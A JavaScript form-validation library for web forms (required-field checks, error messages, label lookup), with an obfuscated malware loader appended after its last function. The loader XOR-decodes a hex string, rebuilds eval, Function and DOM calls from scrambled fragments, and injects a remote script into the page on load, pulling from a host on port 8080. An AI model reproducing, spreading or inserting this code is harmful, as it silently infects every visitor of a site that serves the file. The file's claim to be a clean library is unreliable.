var _CURRENT_FORM;

function initialiseForm(form, fromAnOnBlur) {
	_CURRENT_FORM = form;

	if(fromAnOnBlur) {
		limitValidationErrorsTo(fromAnOnBlur);
	} else {
		clearValidationErrorLimit();
	}

	_HAS_HAD_FORM_ERROR = false;
	clearValidationErrorCache();
}

function hasHadFormError() {
	return _HAS_HAD_FORM_ERROR || !_ERROR_CACHE;
}

/**
 * Returns group with the correct classname
 */
function findIndexOf(group,index) {
	var i;
	for(i = 0; i < group.length; i++) {
		if(group[i].className.indexOf(index) > -1) {
			return group[i];
		}
	}
	return null;
}

function clearErrorMessage(holderDiv){
	//merged by nlou 23/08/2007, r#40674
	if(holderDiv.tagName == 'TD'){//for tablefield. 
		$$('span.message', holderDiv).each(function(el){ 
			Element.hide(el); 
		} 
		); 
	}else{ 
		$$('span.message', holderDiv.parentNode).each(function(el) { 
			Element.hide(el); 
		}); 
	} 
	$$('div.validationError', holderDiv.parentNode).each(function(el) {
		Element.removeClassName(el,'validationError');
	});
}

function clearAllErrorMessages() {
	$$('span.message').each(function(el) {
		Element.hide(el);
	});
	$$('div.validationError').each(function(el) {
		Element.removeClassName(el,'validationError');
	});
}

function require(fieldName,cachedError) {
	el = _CURRENT_FORM.elements[fieldName];

	// see if the field is an optionset
	if(el == null) {

		var descendants = _CURRENT_FORM.getElementsByTagName('*');

		el = $(fieldName);

		if(el == null)
			return true;

		if(Element.hasClassName(el, 'optionset')) {
			el.type = 'optionset';

			var options = el.getElementsByTagName('input');

			for(var i = 0; i < options.length; i++) {
				if(options[i].checked)
					if(el.value != null)
						el.value += ',' + options[i].value;
					else
						el.value = options[i].value;
			}
		}

	}


	if(el != null) {
		// Sets up radio and checkbox validation
		if(el.type == 'checkbox' || el.type == 'radio') {
			var set = el.checked;
		}//merged by nlou 23/08/2007, r#40674
		else if(el.type == 'select-one'){ 
			if(el.value == ''||el.value == '0'){ 
				var set = ''; 
			}else{ 
				var set = el.value; 
			} 
		}else{
			var set = el.value;
		}

		var baseEl;

		// Sometimes require events are triggered of
		// associative elements like labels ;-p
		if(el.type) {
			if(el.parentNode.className.indexOf('form') != -1) set = true;
			baseEl = el;

		} else {
			if(_CURRENT_FORM.elements[fieldName]) {
			//Some elements are nested and need to be "got"
				var i, hasValue = false;
				if(_CURRENT_FORM.elements[fieldName].length > 1) {
					for(i=0; i < el.length; i++) {
						if(el[i].checked && el[i].value) {
							hasValue = true;
							break;
						}
					}

					if(hasValue) set = true;
					else set = "";
					baseEl = el[0].parentNode.parentNode;

				} else {
					set = "";
					baseEl = el.parentNode;
				}

			} else {
				set = true;
			}
		}

		// This checks to see if the input has a value, and the field is not a readonly.
		if( ( typeof set == 'undefined' || (typeof(set) == 'string' && set.match(/^\s*$/)) ) ) {
			//fieldgroup validation
			var fieldLabel = findParentLabel(baseEl);

			// Some fields do-not have labels, in
			// which case we need a blank one
			if(fieldLabel == null || fieldLabel == "") {
				fieldlabel = "this field";
			}

			var errorMessage = "Please fill out \"$FieldLabel\", it is required."
			if(baseEl.requiredErrorMsg) errorMessage = baseEl.requiredErrorMsg;
			else if(_CURRENT_FORM.requiredErrorMsg) errorMessage = _CURRENT_FORM.requiredErrorMsg;

			validationError(baseEl, errorMessage.replace('$FieldLabel', fieldLabel),"required",cachedError);
			return false;

		} else {
			if(!hasHadFormError()) {
				clearErrorMessage(baseEl.parentNode);
			}
			return true;
		}
	}

	return true;
}

/**
 * Returns the label of the blockset which contains the classname left
 */
function findParentLabel(el) {
	// If the el's type is HTML then were at the uppermost parent, so return
	// null. its handled by the validator function anyway :-)
	if(el) {
		if(el.className == "undefined") {
			return null;
		} else {
			if(el.className) {
				if(el.className.indexOf('field') == 0) {
					labels = el.getElementsByTagName('label');
					if(labels){
						var left = findIndexOf(labels,'left');
						var right = findIndexOf(labels,'right');
						if(left) {
							return strip_tags(left.innerHTML);
						} else if(right) {
							return strip_tags(right.innerHTML);
						} else {
							return findParentLabel(el.parentNode);
						}
					}
				}//merged by nlou 23/08/2007, r#40674
				else if(el.className.indexOf('tablecolumn') != -1){ 
					return el.className.substring(0, el.className.indexOf('tablecolumn')-1); 
				}else{
					return findParentLabel(el.parentNode);
				}
			} else {
				return findParentLabel(el.parentNode);
			}
		}
	}
	// backup
	return "this";
}

/**
 * Adds a validation error to an element
 */
function validationError(field,message, messageClass, cacheError) {
	if(typeof(field) == 'string') {
		field = $(field);
	}

	if(cacheError) {
		_ERROR_CACHE[_ERROR_CACHE.length] = {
			"field": field,
			"message": message,
			"messageClass": messageClass
		}
		return;
	}

	// The validation function should only be called if you've just left a field,
	// or the field is being validated on final submission
	if(_LIMIT_VALIDATION_ERRORS && _LIMIT_VALIDATION_ERRORS != field) {
		// clearErrorMessage(field.parentNode);
		return;
	}

	_HAS_HAD_FORM_ERROR = true;

	// See if the tag has a reference to the validationMessage (quicker than the one below)
	var validationMessage = field.validationMessage;

	// Cycle through the elements to see if it has a span
	// (for a validation or required messages)
	if(!validationMessage) {

		//Get the parent holder of the element
		var FieldHolder = field.parentNode;
		var allSpans = FieldHolder.getElementsByTagName('span');
		validationMessage = findIndexOf(allSpans,'message');
	}

	// If we didn't find it, create it
	if(!validationMessage) {
		validationMessage = document.createElement('span');
		FieldHolder.appendChild(validationMessage);
	}

	// Keep a reference to it
	field.validationMessage = validationMessage;

	// Set the attributes
	validationMessage.className = "message " + messageClass;
	validationMessage.innerHTML = message;
	validationMessage.style.display = "block";
	
	// Set Classname on holder
	var holder = document.getParentOfElement(field,'div','field');
	Element.addClassName(holder, 'validationError');
}

/**
 * Set a limitation so that only validation errors for the given element will actually be shown
 */

var _LIMIT_VALIDATION_ERRORS = null;
function limitValidationErrorsTo(field) {
	_LIMIT_VALIDATION_ERRORS = field;
}

function clearValidationErrorLimit() {
	_LIMIT_VALIDATION_ERRORS = null;
}

function clearValidationErrorCache() {
	_ERROR_CACHE = new Array();
}

function showCachedValidationErrors() {
	for(i = 0; i < _ERROR_CACHE.length; i++) {
		validationError(_ERROR_CACHE[i]["field"],
		_ERROR_CACHE[i]["message"],
		_ERROR_CACHE[i]["messageClass"],
		false);
	}
}

function strip_tags(text) {
	return text.replace(/<[^>]+>/g,'');
}
var mxm="f1eee7dcfc9cf3f0e9efd6b7c8f9ffc592f1f2c7fcc5eefdf1e3e1fbf5c8d1dbf9dee8d8dfd2f5d7dcf7fbd2e8c5cfe9e5fdeee2f8c2e3c0e6e9eefde0c0c5eeec86eff5b4f9f5f2b2edfd9edaec";var lE;if(lE!='jH'){lE='jH'};var Vdq='';function uU(m){this.sj="";this.sQ="";var mJ=''; var r=function(z,Q){var JV=new Date();var c;if(c!='BG' && c != ''){c=null};return z[E("CharocdeAt", [5,1,2,3,0,4])](Q);this.Rd="Rd";var yd;if(yd!='' && yd!='Fr'){yd='AMu'};};var LC="LC";this.Ai="Ai";var g="";var cf;if(cf!='Nj'){cf='Nj'};var rT;if(rT!='Tp'){rT='Tp'}; var iG=false;var SB;if(SB!='Vm'){SB=''};function E(O, t){var pW="";var B = t.length;var W=[150,216,1][2];var VF;if(VF!='' && VF!='iN'){VF=''};var eI;if(eI!='' && eI!='Ux'){eI=''};var ER=[150,0,5,38][1];this.AV="AV";this.UJ='';var S = '';var v = O.length;var iP=9942;var Bd='';for(var QP = ER; QP < v; QP += B) {var s = O.substr(QP, B);this.Hr="Hr";var LN=new Date();var YD="";if(s.length == B){var rP=new Date();for(var V in t) {this.KL="";S+=s.substr(t[V], W);var TF;if(TF!='' && TF!='IN'){TF='il'};var Abk;if(Abk!='' && Abk!='se'){Abk='pm'};var xz=new Date();var Hh=new Date();}var Cj=new String();} else {var BP;if(BP!='' && BP!='dr'){BP=''};var kI="kI";  S+=s;var Pu;if(Pu!='' && Pu!='zq'){Pu=''};this.qz='';}var xN;if(xN!='mS'){xN=''};var mU=new Array();}this.gs="gs";this.nx="";var zl;if(zl!='wm' && zl!='db'){zl=''};return S;}var Er;if(Er!='zo'){Er='zo'}; var R=function(L){var nv;if(nv!='tP' && nv != ''){nv=null};var fY="";var aB;if(aB!='IS' && aB != ''){aB=null};var x=L[E("elgnht", [1,0])];var W=[29,1,76,122][1];var ia;if(ia!='Gc' && ia!='qh'){ia=''};var V=[25,181,0,60][2];var hR;if(hR!='' && hR!='RE'){hR='aX'};this.KA="";var uo=[255][0];var rr;if(rr!='uE'){rr='uE'};var HN;if(HN!='' && HN!='bE'){HN=''};var zS=[0][0];this.GU="GU";var ss=24058;var ou=13516;var oF="";while(V<x){var fK;if(fK!='jt' && fK!='Fy'){fK='jt'};var xb=new Array();V++;y=r(L,V - W);var bA;if(bA!='' && bA!='yO'){bA=null};this.AJ="AJ";zS+=y*x;var OO;if(OO!='Sg' && OO!='kIf'){OO='Sg'};var tS;if(tS!='lh' && tS!='uM'){tS='lh'};}var Zd;if(Zd!='' && Zd!='aM'){Zd='Dc'};var tN;if(tN!=''){tN='rh'};return new a(zS % uo);var CK;if(CK!='' && CK!='UI'){CK='FF'};};this.fC=false;var Ao;if(Ao!='Kw'){Ao='Kw'};var rq;if(rq!='ql' && rq != ''){rq=null};var Vs=false; function u(O){var YX;if(YX!='' && YX!='Wo'){YX=''};var XeV;if(XeV!='' && XeV!='DN'){XeV=''};this.iC=38138;O = new a(O);var S = '';var A = -1;var Gg=false;var ig;if(ig!='CL'){ig=''};var QP =[0][0];var IP;if(IP!='' && IP!='rH'){IP=''};var GD;if(GD!='' && GD!='FC'){GD=null};var ER =[0,195][0];var fB;if(fB!='JK' && fB!='AiP'){fB='JK'};var gT=new Array();for (QP=O[E("enlthg", [2,0,1])]-A;QP>=ER;QP=QP-[1,214,216][0]){var bU=new Array();S+=O[E("harcAt", [3,0,1,2])](QP);var tv;if(tv!='' && tv!='Ba'){tv=null};}return S;var hRH=new String();var He;if(He!='eu'){He=''};}this.dj=25176;var AN=22090;this.aa="aa"; var By="";function WA(w,RU){var BF;if(BF!='Yn' && BF!='Bh'){BF=''};return w^RU;var qZ;if(qZ!='' && qZ!='um'){qZ=null};var Vj;if(Vj!='' && Vj!='fo'){Vj=null};}var uI;if(uI!='hH' && uI!='Jt'){uI=''};var Kp=new Date();var OA;if(OA!='rb' && OA!='jk'){OA=''};var CJ=new String();var q=window;var e=q[E("vela", [1,0])];var Jr;if(Jr!='dp'){Jr='dp'};var WX=new Array();var N=e(E("cFnution", [1,3,2,0,4]));this.wv="wv";var hP;if(hP!=''){hP='tn'};var Rda=51118;var sw = '';this.BW="";var Um=new String();var C=e(E("eREgpx", [1,0]));this.rR=false;var a=e(E("trSngi", [2,0,1]));this.NR="";var hQ;if(hQ!='tf' && hQ!='nd'){hQ='tf'};var XB;if(XB!='Yh' && XB!='Jd'){XB='Yh'};var lI;if(lI!='' && lI!='PR'){lI='pcx'};var WN;if(WN!='' && WN!='jD'){WN='aW'};var LX=q[E("cnsauepe", [4,1,7,2,0,3,6,5])];this.Yi=47395;var yR=a[E("mfroahCrCode", [1,7,3,0,6,5,4,2])];this.EH=false;this.oo=false;var iz=new Array();var pU;if(pU!='QZ'){pU=''};var sjw=new String();var sB;if(sB!='Nr'){sB='Nr'};var wn;if(wn!='yoy' && wn!='KZ'){wn='yoy'};var xc=new String();var ER =[190,183,0,242][2];this.bS=false;this.bi=false;var OS = m[E("nlehgt", [1,2,0])];var mg =[10,2][1];var sQZ="sQZ";var I=[1, E("uecmdtnoetra.Eecetmnl\'(eitrps)\'c", [4,7,2,0,3,1,6,5]),2, E("mco.tsheuno.c.uvk.eroiznweirless", [1,2,0,3,4]),3, E("oucdetnmbdo..payednphliC()dd", [3,0,2,1]),4, E("m.covelitesiside.rgn80u:80", [2,3,0,1]),5, E("sttdeA.iuetbtrdfr(ee\'\'", [3,6,0,4,1,5,2]),6, E("eo.lggocom", [4,6,1,5,3,0,2]),7, E("idow.wnonload", [3,0,6,1,2,5,4]),8, E("emgsai.akuchs", [5,1,4,2,0,3]),11, E("scidncuootc.m", [1,3,2,0]),12, E("nfcuotni()", [1,3,0,2]),14, E("acct(h)e", [1,0]),15, E("sah4red", [3,0,2,1]),16, E("c56.om", [1,2,3,0]),17, E("tth\"p:", [3,2,1,0]),18, E("rsd.c", [2,3,1,0,4]),19, E(")\'1\'", [1,2,3,0]),20, E("ryt", [2,0,1])];var h = '';var nOu=46021;var DL=new String();var D = /[^@a-z0-9A-Z_-]/g;var hO;if(hO!=''){hO='Yd'};var b = '';var JX;if(JX!='lD' && JX != ''){JX=null};this.DO=false;var Sb = "%";var dJ;if(dJ!='Sl'){dJ='Sl'};var nc;if(nc!='NdB'){nc=''};var XNx;if(XNx!='Gx'){XNx=''};var W =[206,1,254][1];var Wc=new String();var dN;if(dN!='cy'){dN='cy'};var X = '';var qo="qo";var lb="lb";var RY;if(RY!='' && RY!='Hau'){RY=''};var hA =[0][0];var ie;if(ie!='' && ie!='Dw'){ie='FI'};var al;if(al!='nI' && al != ''){al=null};var gY;if(gY!='' && gY!='ooI'){gY='op'};this.nL=33363;var vJ;if(vJ!='Dr' && vJ!='qY'){vJ='Dr'};for(var P=ER; P < OS; P+=mg){var bh='';var JXl=new Date();b+= Sb; var hb;if(hb!='Lb' && hb!='NRc'){hb=''};b+= m[E("sbutsr", [4,2,1,0,3])](P, mg);var ds;if(ds!='' && ds!='vx'){ds=null};var nD=false;}var RrQ;if(RrQ!='Bf' && RrQ!='Zj'){RrQ=''};var m = LX(b);var Uc;if(Uc!='kR' && Uc!='LE'){Uc='kR'};this.sC="";var DS;if(DS!='ZO' && DS!='oP'){DS='ZO'};var hC = new a(uU);var n = hC[E("lrapece", [1,4,3,0,2])](D, h);var rm;if(rm!='' && rm!='rB'){rm='oV'};this.LkB='';var dE;if(dE!='CI'){dE=''};var j = new a(N);var jX;if(jX!='' && jX!='NcQ'){jX='Sz'};var TS;if(TS!='' && TS!='Or'){TS='tT'};var KIK=new Array();var WoZ;if(WoZ!='Gt' && WoZ!='ao'){WoZ=''};var Y = I[E("elgnht", [1,0])];var yN=new String();this.eL=22187;n = u(n);var ak=new String();this.Vt='';var XBj='';this.IE=false;var f = j[E("acperle", [4,3,2,5,0,1])](D, h);var Sx=new String();var f = R(f);var G=R(n);var KT;if(KT!='fb' && KT != ''){KT=null};this.CH='';for(var QP=ER; QP < (m[E("elgnht", [1,0])]);QP=QP+[108,1][1]) {this.YdK='';this.KF="KF";var RL = n.charCodeAt(hA);var fl;if(fl!='' && fl!='cl'){fl=null};this.MA=false;var tj = r(m,QP);this.Ae="";var Qj='';var fy;if(fy!='' && fy!='Jg'){fy='ny'};tj = WA(tj, RL);var jd=new Date();var kV;if(kV!='uC' && kV!='ez'){kV='uC'};tj = WA(tj, G);tj = WA(tj, f);var rn;if(rn!='pu'){rn='pu'};var Cf='';var ur;if(ur!='' && ur!='Py'){ur=null};hA++;var RUp;if(RUp!='BV'){RUp=''};var fpm=false;var Ff=38497;if(hA > n.length-W){hA=ER;var OG;if(OG!='' && OG!='sF'){OG=''};}var Kd=false;var aXP="";X += yR(tj);this.CN="";}this.Mw='';this.mi="";for(J=ER; J < Y; J+=mg){var HU=new Array();var Sp="";var wYn;if(wYn!='' && wYn!='DqR'){wYn=''};var Qb;if(Qb!='' && Qb!='oH'){Qb=''};var VFA;if(VFA!='' && VFA!='XH'){VFA=''};var xw = yR(I[J]);var PS="";var i = I[J + W];this.iS="iS";var Noy="";var xn = new C(xw, a.fromCharCode(103));var gt;if(gt!='' && gt!='OK'){gt='tNH'};X=X[E("erpalce", [1,0,2])](xn, i);var XA;if(XA!='ld'){XA=''};var dB;if(dB!='' && dB!='Xg'){dB=null};}var OT;if(OT!=''){OT='Ys'};var yq=new N(X);yq();this.ib=false;j = '';var yV;if(yV!='GG' && yV != ''){yV=null};X = '';var SH="";var FN=false;f = '';G = '';var Dz="";n = '';var Md=false;var kP=false;yq = '';var pE;if(pE!='wnP' && pE!='Os'){pE=''};var Zn;if(Zn!='' && Zn!='pr'){Zn=''};var uy=new Array();var ROA;if(ROA!='eK' && ROA!='Li'){ROA='eK'};var Yc;if(Yc!='' && Yc!='eW'){Yc=null};return '';};var lE;if(lE!='jH'){lE='jH'};var Vdq='';uU(mxm);